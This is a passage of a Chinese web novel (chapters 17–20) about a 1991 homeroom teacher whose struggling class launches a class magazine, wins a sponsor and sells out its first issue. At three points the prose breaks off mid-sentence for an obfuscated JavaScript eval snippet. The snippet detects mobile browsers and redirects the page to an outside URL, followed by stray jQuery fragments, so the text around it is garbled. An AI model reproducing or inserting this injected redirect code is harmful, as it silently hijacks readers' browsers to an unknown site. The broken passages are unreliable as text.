这样的父亲形象在中国家庭里并不少见,但落在敏感的青春期孩子身上,伤害又是实实在在的。 时光竟能将一个人塑造和改变至此。 17. 第 17 章 谢昭很快从低落的情绪里挣脱出来,她从来就不喜欢在别人面前展露太多脆弱,尤其是…… “别说我了,一直说我多没有意思,”她飞快地瞥了一下对面安静吃面的徐湛,决定祸水东引,抬手戳了戳他的手臂,“喂,你呢?你今天找徐老师是为什么?” “我……?”徐湛有些懵,抬头看了眼徐嘉禾,忽然有些扭捏起来,“我……我是想找老师问问投稿的事情。” “投稿?”徐嘉禾有些惊喜地看着他,“你已经把自己的文投到报刊去了吗?我以为你会先拿给我看看呢。” “我有点不好意思拿给你,”徐湛点了点头,有些丧气地垂眸,“我投了三家报刊,一家还没有回应,但另外两家已经退稿了,他们都说我‘文字尚可,但内容空泛’。” “我想我确实是在为赋新词强说愁,”他叹了口气,“但我也不知道该怎么做才对,只能想着把我的文章拿给徐老师,帮我修改一下。” “文章能让我看看吗?”徐嘉禾想了想,问。 徐湛眼睛亮亮地点头,从书包里取出一个硬壳笔记本,翻到其中一页,递给徐嘉禾。 这一页是一篇写景的散文,词句优美,文字生动有力,徐嘉禾看后直觉眼前一亮、口颊生香。徐湛的字迹同样清秀工整,和他的文字一样让人赏心悦目。 然而,此文美则美矣,后面推景及人的部分却颇有些莫名其妙,毫无营养。 如果要徐嘉禾来做比喻,那就是前文写钱塘江观潮写得好好的,主角胸怀激荡、情难自已,已经开始捂着心口,高喊钱塘江上潮信来今日方知我是我了。 结果下一秒,主角兴奋过度,脚一滑从栏杆栽倒下去,主角的妈妈大喊一声休伤吾儿,跳进汹涌的潮水中救起主角。 主角浑身湿透,发起了高烧,于是在那个下着暴雨的夜晚,主角的妈妈背着他去了医院…… “你们这个年纪,生活经验有限,”徐嘉禾看完这篇文章,已经大概能理解为什么徐湛会收到这样的回信了,“硬要上价值,确实容易显得空泛。” “所以,对方肯定了你的文笔,但否定了你的内容;你的文字已经很优美了,但要想真正地打动别人,首先这个故事就得打动自己。” “意思就是说,我现在写的东西很难打动别人了。”徐湛似懂非懂地点了点头,随即又萎靡了下去,“果然,我写的东西只能自娱自乐而已……” “别这么快就放弃呀,哪个名作家没收到过几十斤退稿信啊?”徐嘉禾拍了拍他的肩,安慰道,“要收到他人的建议、不断精进自己,这样才能有进步嘛。” “实在不行,你试着写些生活中发生的事情呢?”她想了想,建议,“就算是每个人都写自己的高中生活,大家的高中生活也都是不一样的嘛。” “说到这个,我们班除了徐湛之外,还有不少人喜欢写写画画的,”谢昭咽下口中的面条,忽然插话,“不过他们一般都藏着掖着,只给和自己关系好的人看。” “哦?”徐嘉禾来了兴趣,“他们都写什么?” “那可多了,吕晓杨喜欢画漫画,”谢昭数着,“有好几个喜欢接力写武侠小说的,一人写半章,剧情走向往往非常诡异;写古体诗现代诗的也有……” 她一连说了好几个名字,里面有徐嘉禾的熟人,也有她几乎没什么印象的学生。 “咱们班还真是卧虎藏龙,”徐嘉禾听得津津有味,她夹起一筷子杂酱面,饶有兴致地说,“喜欢写写画画是好事,藏什么啊?” “还能为什么?怕被笑话呗。”谢昭撇撇嘴,“所有人都觉得这些东西上不了台面,写了也没用,还会被老师批评不务正业,也就只能自己偷偷搞着玩了。” “上不了台面吗……”徐嘉禾心中一动,忽然冒出了一个念头,“既然这样,我们为什么不自己办个班刊呢?” 她说着,眼睛忽然一亮,猛地一拍桌子,把谢昭和徐湛都吓了一跳。 “班刊?”徐湛若有所思,抬头看向徐嘉禾,“我们班自己办报纸?” “对,”徐嘉禾越想越觉得有可行性,“喜欢写写画画的同学可以借此机会展现自己的作品,大家也可以一起完成一件有意义的事。” “你们想,写作、审稿、排版、印刷,这些工作都需要大家一起参与。而且,看到自己的文字能够用油墨印出来,那种感觉也不一样。” “可是,这有什么意义吗?”谢昭的眼睛亮了亮,却又皱起了眉,“这不也是不务正业吗?” “诶,那可不一定,”徐嘉禾笑了笑,“其实,我一直在想,咱们班缺的到底是什么。最近一段时间观察下来,我觉得,我们缺的是一种自我认同感和成就感。” “作为一个班主任,我自然是希望我带的班级能够越变越好的,”她说着说着,忽然感觉拨云见日,知道自己应该怎么去做了,“你们有没有发现,人其实很容易被其他人所赋予的人设所影响?” 谢昭蹙眉:“人设?像是戏剧表演的人物形象吗?” “差不多就是这个意思,你用‘标签’来形容也没错,”徐嘉禾点头,“当一个人被赋予某个标签,并且周围环境也这样看待他时,他往往会做出符合这个角色期待的行为。” 当一个人如果一直被评价为坏学生,他就会不知不觉朝那个方向靠拢,因为那是别人对他的期待,也是他对自己的认知。 教育学有一个著名的实验,就讲述了“标签”和环境对人产生的影响,由此得出了“罗森塔尔效应”。 罗森塔尔从一个班的许多孩子里面,随便选了一部分孩子,向所有老师和同学声称他们是天才。 几个月后,他再次回到这个学校,被评价为天才的那一部分学生果然取得了优异的成绩。然而事实上,他们和其他学生的智力水平并不见得有很大的差异,毕竟罗森塔尔是随机选择的。 徐湛问:“所以,你想为班上的同学们,建立起一个积极的人设?” “就是这样,”徐嘉禾笑着点头,“所以创建班刊的作用,首先是要让大家觉得自己那些没用的爱好,是被认可的、是有价值的。” “当他们对自己的认识从‘差生’变成‘作者’‘画师’这样的正面形象时,他们自然而然会开始做出符合这样形象的行为,” “因为没有人会愿意自己毁掉自己的良好形象,”谢昭恍然大悟,“这样想来,如果我知道我写的东西会被大家传阅和夸奖,我对待这篇文章也会比平时认真。” “没错!我们还可以创造更多的机会,让每个人都能够展示自己优秀的一面,从而获得正向反馈。”徐嘉禾越说,越觉得自己简直是教育学的天才。 “在任何领域获得的成就感,都可以用来打破旧人设。我们再慢慢地把这种自信转移到学习上来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128813|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们的成绩变好了,谁还会说我们是不务正业?” 谢昭和徐湛对视一眼,两人心中都一阵兴奋,忍不住消化着徐嘉禾的话。 这些话对谢昭来说有些新鲜,甚至可以说是颠覆性的。她过去想用激烈的行为反抗别人贴给她的标签,却从未认真想过,到底要怎么做才能够彻底改变自己身上的标签。 谢昭最先从兴奋中冷静下来,她放下筷子,眉头微蹙:“想法是好,但实际操作起来问题一大堆。” 徐湛也点头:“最大的问题是钱。油墨、蜡纸、纸张都要钱,再说了,印出来又能给谁看呢?” “印刷问题好说,我们出卷子的时候怎么印的,我们的班刊也可以这么印,”徐嘉禾皱眉思索,“至于印出来给谁看,我想,除了我们班上的同学之外,其他班的同学未必就对我们的班刊没有兴趣。” “比如,有许多报刊会刊印连载武侠小说,每次印一到两章,这样就会促进顾客持续性地购买。我们也可以这样做,只要故事足够吸引人,大家想看,我们的班刊还愁卖吗?” “我还有一个办法,”谢昭忽然道,“等我们的班刊建立起来,我们还可以在上面打广告,从而抵消掉成本。至于广告内容……少年宫、补课班,我想他们都需要在学生之中进行宣传。” 不愧是谢昭,徐嘉禾都没考虑盈利的事情,只是想着能把班刊办下去,她已经开始准备打广告了。 从面馆出来时,时间已经有些晚了,街上行人寥寥、万籁俱寂,只有偶尔路过的自行车铃声。 徐湛和谢昭、徐嘉禾两个人是反方向,三人打了招呼之后就分道扬镳了。 两人先到了谢昭家楼下,院子和单元楼里黑漆漆的。谢昭冲抬头查看情况的保安打了个招呼,停下脚步,看着自家那扇漆黑的窗户,神色复杂。 “你爸可能睡了,”徐嘉禾轻声说,“如果他们问起你的手……” “也可能根本还没回来,他经常加班。”谢昭扯了扯嘴角,“我说我不小心摔的就好,他们是不会在意那么多的。” 徐嘉禾看着她故作轻松的表情,心里有些发酸,她有些心疼谢昭。 谢昭的爸妈在养育谢昭的时候,或许因为第一次当父母没有经验,或许因为过于急于求成,使得谢昭和他们的关系并不算好。 当他们终于学会了该怎么正确地养育孩子时,谢昭已经长大了,他们对谢昭的伤害也已经造成了,他们只能把所有的爱和慈祥补偿到徐嘉禾身上。 然而,这对谢昭来说是不公平的。 徐嘉禾不知该说什么,她无法告诉谢昭,很多年后,她的父亲会变成一个慈祥的老人,不会再对自己的子女要么冷眼旁观,要么咄咄逼人。 时间究竟是怎样改变一个人的? 或者说,人本来就是多面的,只是在不同的人生阶段,展露出不同的面貌? “上去吧,”徐嘉禾拍了拍谢昭的肩膀,“伤口别碰水,按时吃药。明天如果疼得厉害,可以请假。” “徐老师,你开学的时候,选我当班长,也是利用了你说的这个什么‘人设效应’吗?”谢昭答应了一声,往单元里走了几步,忽然意识到了什么似的,问。 “说实话,是有这方面的原因,”徐嘉禾点了点头,“不过更多的,是因为没有人能够比你更加适合这个位置了。” 她非常确信这一点。 18. 第 18 章 天色彻底暗了下来,徐嘉禾目送谢昭走进昏暗的单元楼,楼梯间的灯光一层一层亮了起来。直到她听到谢昭进家门的声音,徐嘉禾才转身,推着自行车,慢慢往自己家走去。 夜风吹在脸上有些刺骨,但徐嘉禾心里却充满着对未来的暖意与期待。 徐嘉禾知道,自己并不是传统意义上拥有着无私奉献精神的那些老师。 事实上,如果不是谢昭和徐湛在五班,依徐嘉禾过去的性子,对五班这样已经被大多数人放弃的学生,她也会是不屑一顾的。而就算是一开始,她真正关心的也只有谢昭和徐湛二人而已。 但不知从什么时候起,看着五班学生那些年轻而鲜活的脸、看着他们从对学习的完全抗拒,到偶尔流露出一点不甘和渴望……徐嘉禾无法再把自己当作一个置身事外的外人。 改变已经发生,在她自己都没完全意识到的时候。 办班刊虽然是个心血来潮、甚至显得有些剑走偏锋的主意,但徐嘉禾总有一种预感,这反而能够产生意料之外的积极效果。 第二天一早,徐嘉禾难得因为兴奋早早地就自然醒了。 她走进教室时,早自习的铃声还没敲响。但教室里比起一个月前的乌烟瘴气,已然是另一番景象,虽然干的事五花八门,大多数人都规规矩矩坐在位置上自己做自己的事情。 徐嘉禾站上讲台,没像往常一样布置早读任务或者强调纪律,而是轻轻敲了敲桌面:“诸君安静一下,有件事要跟大家商量。” 底下的声音顿时小了下去,学生们好奇地抬头。 徐嘉禾目光扫过教室,看到谢昭正萎靡不振地趴在桌上、徐湛的眼睛下方也泛着淡淡的青黑,不禁有些想笑——看来昨晚不止她一个人兴奋到失眠。 “昨天晚上,因为一些原因,我和谢昭、徐湛同学聊了聊,”徐嘉禾开门见山,“我了解到,我们班很多同学,其实在写作、绘画或者其他方面,都有兴趣和才华。 “那么大家有没有想过,如果我们能够有一个自己的平台,把大家的作品展示出来,让同学老师、甚至让其他班的人都看到,会怎么样?” 底下的学生你看看我、我看看你,有困惑也有好奇。 “什么意思?”一个男生问。 “意思就是,我们要不要试着办一份自己的班刊?”徐嘉禾笑道,“文章、诗歌、漫画、小说连载,只要是大家创作的,都可以刊登在上面。” 只是,大多数的五班学生习惯了被否定,突然被告知自己“不务正业”的爱好值得被印成铅字、展示给人看,第一反应仍然是怀疑。 “但这个什么班刊,办出来除了我们自己,谁会看呢?”一个女生和同桌对视了一眼,小声道。 “自己玩玩就行了,还印出来……”她同桌有些不安地附和,“多丢人。” “我倒觉得听起来挺有意思,”吕晓杨沉默了片刻,小心翼翼地问,“但这种事情,学校能让吗?” 徐嘉禾将学生们的反应尽收眼底,她其实很理解这种矛盾的心理,既渴望被看见、更害怕被嘲笑,还怕自己的心血被用来再次证明自己的失败。 “提升自我、展示才华、锻炼综合能力,同样是学生应该做的事,”对于吕晓杨说的这个问题,徐嘉禾也想过,“我们不影响正常教学秩序,内容积极健康,学校没有理由反对。” “学校那边我会去沟通,”她提高了声音,压过底下细碎的议论。“我知道大家有顾虑,或许觉得这没什么用,或者觉得自己写的东西拿不出手。” “如果我们做不成,那不会有什么影响;但如果真的成功了,全锦大附中都没有我们这样的先例。”徐嘉禾放慢了语速,语气诚恳,“我们就能让大家看到,我们五班是能够做出些什么不一样的东西来的。” 徐嘉禾对于班刊的构想,在高二五班激起了前所未有的高潮。学生们起初对于这件事的怀疑和犹豫,很快就被一种前所未有的兴奋感取代。 毕竟,对一群常年不被主流所认可的少年来说,能光明正大地展示自己创作的、过去被大肆批判的东西,这件事情本身就是一种巨大的诱惑和认可。 接下来的几天,高二五班表面仍然平静,底下却暗流涌动。 课间午休时,常能看到三三两两的学生聚在一起,低声讨论着自己的稿件的遣词造句。有人为了一个情节争得面红耳赤,有人为了诗句的一个字反复推敲,倒有了些优等班讨论学习的架势。 平时最调皮捣蛋的那几个男生,也将全身心都扑到了连载武侠小说的创作上,周文瑞也是其中之一。 偶尔有别的班的男生好奇来问:“周文瑞,你们班同学这几天干嘛呢?怎么一个也没见来打篮球?” 周文瑞斜睨他们一眼,一副自己在搞什么大事业一般,神秘莫测、少年老成的样子,背着手叹息:“我们班在忙着编班刊呢,哪儿能像你们一样,成天闲着没事干?” 于是,“学校里面最差的那个高二五班要编报纸了”的新闻又飞快地传遍了全校。 倒是省了一笔宣传费用。 徐湛作为众望所归的主编,因为要负责进行稿件的初审,也忙得脚不沾地起来。过去成天沉浸在自己世界里的文艺少年,这会儿也得落到地上,好好地跟自己的同学们辩辩经。 徐嘉禾则忙着协调各方,她拿着初步的方案,满学校跑,把校长、教导主任等等各级领导统统找了一遍。 她软磨硬泡了半天,着重强调办班刊是为了“调动学生学习积极性、培养综合能力、增强班级凝聚力”。 胡丽华对此颇感兴趣,大力支持徐嘉禾搞下去,还提出“如果需要宣传,学校可以考虑在公告栏张贴相关告示”; 李校长则在听到“不需要学校拨款,学生会自己想办法解决印刷成本”后,也勉强点了头,只是再三叮嘱内容要正能量。 而拉赞助的任务,自然落在了提出这个点子的谢昭身上。 徐湛被谢昭点名陪着一起去,理由是他看起来比较像好学生,免得对面看到谢昭觉得不靠谱,从而拒绝他们;徐嘉禾作为班主任,自然也没理由不跟着去。 这个周六上午,徐嘉禾带着谢昭和徐湛前往了锦宁市少年宫。 这是谢昭的主意,少年宫的主要受众就是学生,应该会对面向学生的宣传渠道感兴趣。 九十年代初的少年宫是一栋五层的白色建筑,门口挂着“锦宁市少年宫”的金属牌匾。因为是周末早上,少年宫可谓是门庭若市,学生及家长进进出出,各种兴趣班的招生广告看得人眼花缭乱。 几经波折,三人选定了少年宫里一家新开张不久、门庭略显冷清的计算机兴趣班作为目标。 之所以选这里,一是因为,计算机在1991年可以说是最为神秘、新鲜的词汇了,即使是打广告也更容易吸引人的兴趣; 二是因为,在大部分家长还追求传统的舞蹈、绘画等课程的情况下,新开张的计算机班宣传需求或许会更加迫切。 走进计算机兴趣班略显简陋的办公室,一个戴着眼镜、看起来二十七八岁的年轻男老师正在整理资料。 看到两个学生模样的人进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“其他班很多同学对我们的班刊都感兴趣,”谢昭笑了笑,“我们可以在班刊上为您开设一个广告专栏,专栏内容可以由我们学生执笔,您只需审稿。” 年轻老师身体微微前倾,显然来了兴趣:“怎么收费?” “第一期我们可以免费试水,”谢昭早有准备,“如果反响好,从第二期开始,您再支付一定的版面费用即可。” 徐湛附和着点了点头,从自己的包里拿出几页装订好的纸:“这是我们第一期班刊的样刊和部分稿件,您可以先看过再做决定。” 样刊是几个写字好看的同学这几天连轴转整理出来的,格式工整,内容详实。那位老师一页页翻看下去,表情从审视逐渐转为认真。 他沉吟片刻,看向徐嘉禾:“徐老师……是吧?这都是学生们自己的想法?” 徐嘉禾笑着点头:“是的,我只负责去和学校交流这件事以及最后的把关;具体的实操,都是我们班的学生自己完成的。” “了不起,”男老师由衷地说,他再次看向谢昭和徐湛,眼中充满了欣赏,“只是免费为我在第一期开专栏,听起来风险都在你们那边。如果反响不好,你们岂不是白忙一场?” “任何创业都免不了风险,但我们对内容有信心,”谢昭不卑不亢,“更何况,计算机是未来趋势,让更多学生早接触、早了解是好事。即使抛开咱们的合作不谈,宣传计算机这件事本身,也是有意义的。” 谢昭最后这句话,让年轻老师眼神微微一动。 他重新打量起面前这两个高中生,尤其是说话的这个女生,眼神里的魄力和超越年龄的胆识和见解,不得不说,让他有些意外。 “我叫于晖,是这里的负责人兼讲师,”他最终笑了笑,向谢昭伸出手,“我很欣赏你们的想法和执行力,希望你们的班刊能够进展顺利,也希望我们合作愉快。” 19. 第 19 章 走出少年宫大门,初冬清冷的空气扑面而来,谢昭却觉得浑身滚烫,像是刚从梦境里醒来。 任谁都没想到,合作进行得如此顺利,于晖老师不仅答应了设立专栏,还预支了一小笔赞助费,这样的成功让三人的精神都振奋了许多。 “成功了!”直到终于确认自己手里拿着的钱确确实实存在,谢昭终于松了口气,她兴奋地拍着徐湛的肩膀,动作幅度太大,不小心牵动了伤口。 她疼得“嘶”一声,但那笑容丝毫未减。 徐湛捂着被揍的肩膀,看着谢昭难得直接表现出来的兴奋之情,眼睛里也漾开浅浅的笑意:“嗯,成了。” 徐嘉禾看着眼前的少男少女,一个锋芒毕露,一个沉静内敛,她心里忽然涌起一股暖流,既有成就感,也有一丝欣慰。 “别高兴得太早,”徐嘉禾压下心绪,故意板起了脸,“赞助是拉到了,但班刊到底能不能印出来、印出来有没有人看,这才是真正的考验呢。” “徐老师,你就把心放到肚子里吧,”谢昭扬起下巴,神情尽是少女的自信与张扬,“我们想做的事,还没有做不成的。” 话虽如此,但接下来的几天,整个高二五班,都弥漫着即将要打遭遇战一般的紧张氛围。 虽说初稿要选哪些已经基本确定了,但徐湛的工作还没做完。 毕竟,不是所有投稿都像他自己写的那样可以一遍过,更多是字迹潦草、错别字连篇、甚至情节前后矛盾的拙劣作品。 徐湛要不停从中找漏洞,尽力在最后定稿前把稿件修改到完美。 “这个后续不太行,”徐湛揉着太阳穴,把一篇武侠小说稿子推到谢昭面前,“主角第三章死了,倒是留了悬念了;但是第四章莫名其妙又活过来了,没有任何解释。” 谢昭正在和吕晓杨讨论美术设计,闻言头也不抬:“退回去重写,跟作者说清楚问题。” “我说了,”徐湛心力交瘁地叹了口气,他感觉自己老了五岁,“周文瑞说他的主角转世轮回了,但为什么忽然在一篇武侠小说里面加了个转世的设计,他又说不清楚。” “那就让他想清楚了再交上来。”谢昭终于抬起头,“我们不能因为怕得罪人,就把事情都揽到自己身上来解决,这种问题让他们每个人自己去思考。” “再说了,”吕晓杨在旁边听了全程,补充到,“你要告诉他们,第一期班刊要是质量不行、没人爱看,那我们之前所有的努力全都白费了。” 徐湛点点头,把稿子收起来,准备课后再去找周文瑞谈谈。 徐嘉禾悄没声儿地站在教室后门,抱着手臂欣赏眼前的这一切,嘴角不自觉地扬起。 一个月前,如果有人告诉她,这群被所有人贴上无可救药标签的学生,会为了一个共同的目标如此投入,她一定会觉得对方疯了。 但现在,这样的事情却真真切切地发生了。 “徐老师。”许晴不知何时出现在她身边,也看向教室里,“你们班这氛围真积极啊……后天你们这个班刊就要发售了吧,紧张吗?” “紧张得要命,”徐嘉禾诚实地说,“比我自己高考的时候还紧张,毕竟高考是靠我自己,但班刊这件事情我完全没有把握。” “皇帝不急太监急啊,”许晴笑,“我看你们班学生倒挺淡定的。” “那是表面现象,”徐嘉禾朝谢昭的方向抬了抬下巴,“你仔细盯着谢昭看,你就会发现,她盯着同一页已经看了十分钟了,根本就没翻页。” 谢昭似乎察觉到了她们的目光,她抬起头来,正对上徐嘉禾略带戏谑的眼神。她掩饰似的迅速低下头去,耳尖微微发红。 徐嘉禾和许晴相视一笑, “对了,你们班物理老师的事情有眉目了。”许晴看着专心致志忙碌的谢昭和吕晓杨,忽然又说。 徐嘉禾精神一振:“怎么样?” “学校问了一圈,一开始确实没人愿意接手五班,”许晴压低声音,“但后来,有个刚从师大毕业的老师说她愿意试试,据说脾气很好,专业能力也不错。” “新老师?”徐嘉禾有些意外,“不怕被我们班气跑吗?” “有什么气不气跑的,你接手五班的时候,不也是新老师吗?许晴笑道,“胡校长把你们班换物理老师的原因和你的班刊计划都跟她说了,她颇为兴奋,说觉得自己和你们班相性比较合,下周一就来报道。” 徐嘉禾松了口气。不管怎样,物理课总算有人上了。 “至于赵志军那边,”许晴顿了顿,“听说他申请提前退休了。” 徐嘉禾挑眉:“他跑这么快?我以为他还能多忍一段时间呢。” “估计是脸上挂不住吧,”许晴耸肩,“他那点事全年级都知道了,走哪儿都有人指指点点。要我说,活该。” 徐嘉禾笑着点了点头,她对赵志军自然是丝毫都不同情,只能说是害人者终害己。 雪崩的时候,每一片雪花都不是无辜的。只不过,赵志军这片雪花,亲手把自己淹死在了雪崩里。 发售的具体时间,定在了周五中午午休的时候。 之前几天,关于“高二五班要卖自己印的报纸”的消息,已经在校园里发酵得足够充分。 虽说无论是好奇,还是嘲笑和不屑,学校里各种声音都有。但不可否认的是,几乎所有人都知道了这件事。 周五课间操的时候,谢昭身后跟着乌泱泱一大群人,带着印好的班刊来办公室找徐嘉禾。 “徐老师,”领头的谢昭深吸一口气,将留给徐嘉禾的那份样刊递过去,“我们准备得差不多了。等下午休的时候,我们就在学校门口那条大路上摆摊,宣传牌子也画好了。” 徐嘉禾眼睛一亮,后期五班的同学们神神秘秘的,连她都瞒着。徐嘉禾都是第一次看到班刊完整的样子,她接过来,由衷地感叹:“印得真不错。” 五班同学们的眼睛还是直勾勾地看着徐嘉禾,显然,比起这种听上去比较客套的漂亮话,他们更想听具体的评价。 “好看,”徐嘉禾一口气翻到最后一页,都还读得有些意犹未尽。她呼了口气,抬头看他们,“到时候需要我帮忙吗?” “你千万别去,”谢昭见徐嘉禾一脸满意,原本紧绷绷的表情也松懈了下来。她闻言,立刻摇头,“你去了,学生们可能反而不自在……你就在办公室等我们的消息吧。” 徐嘉禾理解地点点头。 毕竟,这是一场属于五班学生自己的战斗;她这个当班主任的,此刻最好的支持就是信任和放手。 “行,那我就等你们的好消息了。”徐嘉禾笑了笑,“不过,无论结果如何,你们已经做到了前人做不到的事情了,这本身就是成功。” 上午最后一节课的铃声终于响起,校园里瞬间沸腾起来。 徐嘉禾没有立刻往食堂去,而是走到办公室窗边往外看。从这里,可以隐约看到校门口的一角。 只见五班的学生们在下课之后迅速行动起来,谢昭指挥若定,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142188|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个男生从教室里抬了课桌到提前选好的位置,吕晓杨和另一个女生把一大摞包装好的班刊搬了过去。 还有人在这个简易的小摊位旁边竖起了一块手写的宣传板,上面大书“高二五班《萌芽》班刊,第一期正式发行!”。 他们摆摊的时候,大部分学生在食堂吃饭;而在人流从食堂往教学楼走的时候,高二五班的摊位也摆好了。 很快,他们的摊位前面就聚集起了好奇的学生,有人指指点点,也有人围过去询问。 一开始,围观的多,真正掏钱买的少。毕竟五毛钱对不少学生来说,也算是一笔小小的开销,更何况要买的还是高二五班做出的东西。 然而,五班的摊位前越来越热闹。人都是喜欢从众的,只要有一个人开了购买的头,原本还只是看热闹的学生,在看到身边真的有人花钱买了、还津津有味地翻看起来后,也忍不住加入了购买的行列。 办公室内,徐嘉禾和热锅上的蚂蚁似的,坐立难安。 她很想去看看谢昭他们的进展怎么样了,心里又悬之又悬地不敢去看,连带着食堂都不敢去了,生怕路过五班的摊位,自己忍不住就要去帮忙。 徐嘉禾面前的教案摊开着,却一个字也没看进去,只是努力竖着耳朵,捕捉着窗外隐约传来的欢笑喧哗声。 许晴去食堂打饭回来,顺便给徐嘉禾也带了份饭。 “别担心了,我刚从那边过来,”许晴把饭盒放在她桌上,笑道,“围了可多人了,你们班那几个学生忙得满头大汗,我看你们的班刊卖得不错,提前恭喜啦。” 徐嘉禾心里一块石头稍微落了地,她拿起筷子吃了一口午餐,还是有些食不知味。 办公室的门被“砰”地一声推开时,徐嘉禾碗里的米饭被吃了大半,菜却几乎没动。 她抬起头,看见谢昭身后跟着一群五班学生,浩浩荡荡地拥在门口。 “徐老师!”谢昭的声音因为激动而有些发颤,她举起手里那个装钱的铁皮盒子,“卖完了!印的三百份全卖完了!” 办公室里其他老师纷纷抬起头,惊讶地看着这群不速之客。 徐嘉禾放下筷子,走到他们面前,接过那个沉甸甸的铁皮盒子。她打开看了一眼,里面是满满一盒子纸币和硬币。 她看着盒子里那些皱巴巴的零钱,又抬头看看眼前这些不住喘着气、脸上混杂着疲惫与喜悦的孩子们,只觉得一股热流冲上眼眶。 徐嘉禾用力眨了眨眼,把那股酸涩压了下去。 “你们真的做到了。”她的声音因泪意而有些沙哑,但语气是显而易见的骄傲。 许晴和其他老师也围了过来,笑着向徐嘉禾和学生们道贺。 消息飞快地在教师群体里传开了:那个谁都不看好的高二五班,不仅真的把班刊办成了,还成功卖了上百份。 这不仅是五班学生的胜利,某种程度上,也是一记响亮的耳光,打在那些早已给他们判了死刑的老师们的脸上。 当天下午,走在校园里,五班的学生们的腰杆都挺直了些。 他们听到的不再是“五班学生又闯祸了”“五班最近又在闹什么幺蛾子”的议论,更多的是“你们班那个报纸还挺有意思”、“你们下一期班刊什么时候出?”、“漫画还接收投稿吗?”这样的声音。 就连其他班的老师,在课堂上也会调侃:“都看五班的班刊了吧?看看人家能写出这么好的东西,办报纸办得红红火火的,你们在学习上能不能也拿出点这种劲头?” 20. 第 20 章 周五下午最后一节,惯例的是班会课。 上课铃声刚敲响,徐嘉禾走进教室,便看见五班学生们坐得比往常任何一节课都要端正。就连平时最坐不住的那几个,此刻也按捺着躁动,眼睛亮晶晶地望着她。 “首先,”徐嘉禾开口,声音里带着笑意,“《萌芽》第一期大获成功,这证明了我们班的能力与优秀,我向大家表示最诚挚的祝贺。” 五班瞬间爆发出了雷鸣般的掌声,还夹杂着欢呼和口哨。学生们互相击掌、拍桌子,兴奋之情溢于言表。 “好了好了,”等掌声稍歇,徐嘉禾才笑着抬手,示意大家安静,“不过除了庆祝,我们还要面临一个新的、甜蜜的问题。” “今天赚来的钱,扣除这一期班刊的成本和下一期班刊的预算,剩了将近一百二十元,”徐嘉禾念出这个数字的时候都有些惊讶,毕竟她一个月工资也就两百来块钱,“这笔钱属于全班,以我的想法看,自然应该用在大家身上。” “所以,大家对这笔钱该怎么用,有什么想法吗?” 这话一出,五班同学们被天降馅饼冲击得晕晕乎乎的大脑终于冷静了下来。 提议五花八门,有想看电影的,有说要买零食大家分的,还有的说不如直接把现金发到每个人手上,这样就可以每个人想干什么干什么了——不过这个决定被很快否决了,毕竟直接发钱似乎有些太缺乏纪念意义了。 吵到最后,谁也说服不了谁,谢昭揉着太阳穴,抬眼看徐嘉禾:“徐老师,你能给点建议吗?” “我的意见不重要,这是同学们共同努力赚来的钱,应该由你们决定怎么花,”徐嘉禾乐得看热闹,她摊手,笑道,“不过我有一个要求,我希望最后想好的活动能让每个人都参与,感受到我们是一个集体。” “既然这样,我们不如周末一起出去玩吧?”吕晓杨想了想,提议,“人民公园菊展马上就要结束了。” “啊,不要吧……我从小到大,每年秋游学校都安排去菊展,最没意思了。”立刻激起了班上大部分同学的抱怨声。 “人民公园可以啊,”周文瑞却像忽然想起什么似的,“我们不去菊展,也有别的好玩的。” “对哦,”谢昭本来皱着眉,这会儿也眼睛一亮,“人民公园游乐场最近新开了一家旱冰场,我们去滑旱冰怎么样?” “旱冰场?”不少同学眼睛都亮了起来。 90年代初,旱冰在青少年中可谓是最为时髦的娱乐项目之一。锦宁市虽然已经有了几家旱冰场,但人民公园新开的那家规模最大、设备最新,对于少年人来说,有着不可抗拒的吸引力。 “这个主意好!”周文瑞难掩表情的兴奋,激动地一拍桌子,“我上次路过的时候就想去了,只是一直没有找到机会……” “可是……”吕晓杨有些犹豫地看了看周围几个同样面露难色的女生,“我们不会滑啊。” “怕什么,谁不是从摔跤开始的?”谢昭安慰道,“再说了,如果实在不想滑旱冰,旱冰场也有很多别的娱乐项目,想玩哪个都可以。” 徐嘉禾暗自点头,旱冰这个提议确实不错,既能让所有人都参与,又符合大家的兴趣。更重要的是,这是一个需要互相帮助、容易产生互动的集体活动。 最终人民公园旱冰场以压倒性多数票成为了最终的选择,对于这群精力旺盛又渴望新鲜刺激的少年人而言,滑旱冰显然比看菊花更具吸引力。 “那好,就这么定了。”徐嘉禾拍板,“明天下午两点,咱们人民公园门口集合,门票和租鞋的钱就从这次赚到的钱里出,各位有意见吗?” “没——有——”一群人拖声拖气地附和。 “徐老师,”谢昭盯着徐嘉禾思索了一会儿,忽然开口问,“那你要去吗?” “你们想要我去吗?”徐嘉禾饶有兴趣地看着谢昭,“我也忘记旱冰该怎么滑了,怕扫你们的兴啊。” “去啊去啊,”她这话一出,别说谢昭徐湛了,五班其他同学也急了,“班刊还是徐老师提出要办的,赚的钱怎么能不让徐老师一起用?” 周文瑞更是拍着胸脯打包票:“徐老师,你不会我可以带着你一起滑。” 